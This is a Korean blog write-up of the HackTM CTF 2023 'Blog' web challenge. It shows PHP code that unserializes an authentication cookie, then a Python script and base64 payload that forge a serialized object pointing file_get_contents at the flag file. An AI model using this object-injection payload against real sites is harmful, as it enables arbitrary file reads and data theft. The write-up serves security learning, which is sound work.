HackTM CTF 2023 Blog writeup

sani·2023년 2월 20일
0

WRITEUPS

목록 보기
2/5

WEB - Blog

php기반의 블로그 형식의 사이트이다.

회원가입, 로그인, 글쓰기 기능이 있는 블로그인데, 코드를 보면 매우 취약해 보이는 함수가 보인다.

include("util.php");
if (!isset($_COOKIE["user"])) {
    header("Location: /login.php");
    die();
} else {
    $user = unserialize(base64_decode($_COOKIE["user"]));
}

특이하게 인증을 쿠키값을 이용한 unserialize 함수를 사용하는데, 우리는 이 함수를 이용해 값을 변경할 수 있다.

$picture = base64_encode(file_get_contents($this->picture_path));

serialize 된 값 중, 경로가 담겨있는 값이 있는데, 이는 file_get_contents 라는 함수에 담기게 된다.

file_get_contents 라는 함수는 파일의 내용을 반환하는 함수이다.

따라서 이 경로를 flag의 경로로 변조한다면, flag의 값이 bsae64 인코딩 되어서 나올 것이다.

또한 flag의 경로는 Dockerfile을 확인하면 알 수 있다.

FROM php:8.0-apache

COPY ./chal/html /var/www/html
COPY ./chal/db /sqlite3/db
COPY ./chal/flag.txt /02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt
RUN chmod -R 777 /sqlite3/
RUN chmod -R 777 /var/www/html/

payload

import base64

string = "/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt"
length = str(len(string))
result = "O:4:\"User\":2:{s:7:\"profile\";O:7:\"Profile\":2:{s:8:\"username\";s:4:\"1234\";s:12:\"picture_path\";s:" + length + ":\"" + string + "\";}s:5:\"posts\";a:0:{}}7"

result = result.encode('utf-8')

print(base64.b64encode(result).decode('ascii'))
#Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo0OiIxMjM0IjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6NDY6Ii8wMmQ5MmY1Zi1hNThjLTQyYjEtOThjNy03NDZiYmRhN2FiZTkvZmxhZy50eHQiO31zOjU6InBvc3RzIjthOjA6e319Nw==

이 값을 cookie에 넣고, img의 base64값을 디코딩하면 flag값을 얻을 수 있다.

profile
창원대학교 보안동아리 CASPER

0개의 댓글